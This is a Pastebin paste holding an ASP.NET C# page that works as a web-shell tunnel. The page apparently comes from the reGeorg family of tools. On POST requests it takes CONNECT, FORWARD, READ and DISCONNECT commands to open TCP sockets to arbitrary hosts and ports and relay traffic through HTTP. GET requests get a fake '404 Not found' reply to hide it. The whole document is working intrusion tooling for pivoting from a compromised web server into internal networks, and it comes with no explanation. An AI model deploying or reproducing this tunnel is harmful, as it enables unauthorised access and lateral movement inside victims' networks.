Advertisement
Guest User

Untitled

a guest
May 24th, 2019
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.79 KB | None | 0 0
  1. <%@ Page Language="C#" EnableSessionState="True"%>
  2. <%@ Import Namespace="System.Net" %>
  3. <%@ Import Namespace="System.Net.Sockets" %>
  4. <%
  5. try
  6. {
  7. if (Request.HttpMethod == "POST")
  8. {
  9. String cmd = Request.QueryString.Get("cmd").ToUpper();
  10. if (cmd == "CONNECT")
  11. {
  12. try
  13. {
  14. String target = Request.QueryString.Get("target").ToUpper();
  15. //Request.Headers.Get("X-TARGET");
  16. int port = int.Parse(Request.QueryString.Get("port"));
  17. //Request.Headers.Get("X-PORT"));
  18. IPAddress ip = IPAddress.Parse(target);
  19. System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port);
  20. Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  21. sender.Connect(remoteEP);
  22. sender.Blocking = false;
  23. Session.Add("socket", sender);
  24. Response.AddHeader("X-STATUS", "OK");
  25. }
  26. catch (Exception ex)
  27. {
  28. Response.AddHeader("X-ERROR", ex.Message);
  29. Response.AddHeader("X-STATUS", "FAIL");
  30. }
  31. }
  32. else if (cmd == "DISCONNECT")
  33. {
  34. try {
  35. Socket s = (Socket)Session["socket"];
  36. s.Close();
  37. } catch (Exception ex){
  38.  
  39. }
  40. Session.Abandon();
  41. Response.AddHeader("X-STATUS", "OK");
  42. }
  43. else if (cmd == "FORWARD")
  44. {
  45. Socket s = (Socket)Session["socket"];
  46. try
  47. {
  48. int buffLen = Request.ContentLength;
  49. byte[] buff = new byte[buffLen];
  50. int c = 0;
  51. while ((c = Request.InputStream.Read(buff, 0, buff.Length)) > 0)
  52. {
  53. s.Send(buff);
  54. }
  55. Response.AddHeader("X-STATUS", "OK");
  56. }
  57. catch (Exception ex)
  58. {
  59. Response.AddHeader("X-ERROR", ex.Message);
  60. Response.AddHeader("X-STATUS", "FAIL");
  61. }
  62. }
  63. else if (cmd == "READ")
  64. {
  65. Socket s = (Socket)Session["socket"];
  66. try
  67. {
  68. int c = 0;
  69. byte[] readBuff = new byte[512];
  70. try
  71. {
  72. while ((c = s.Receive(readBuff)) > 0)
  73. {
  74. byte[] newBuff = new byte[c];
  75. //Array.ConstrainedCopy(readBuff, 0, newBuff, 0, c);
  76. System.Buffer.BlockCopy(readBuff, 0, newBuff, 0, c);
  77. Response.BinaryWrite(newBuff);
  78. }
  79. Response.AddHeader("X-STATUS", "OK");
  80. }
  81. catch (SocketException soex)
  82. {
  83. Response.AddHeader("X-STATUS", "OK");
  84. return;
  85. }
  86. }
  87. catch (Exception ex)
  88. {
  89. Response.AddHeader("X-ERROR", ex.Message);
  90. Response.AddHeader("X-STATUS", "FAIL");
  91. }
  92. }
  93. } else {
  94. Response.Write("Error 404. Not found");
  95. }
  96. }
  97. catch (Exception exKak)
  98. {
  99. Response.AddHeader("X-ERROR", exKak.Message);
  100. Response.AddHeader("X-STATUS", "FAIL");
  101. }
  102. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement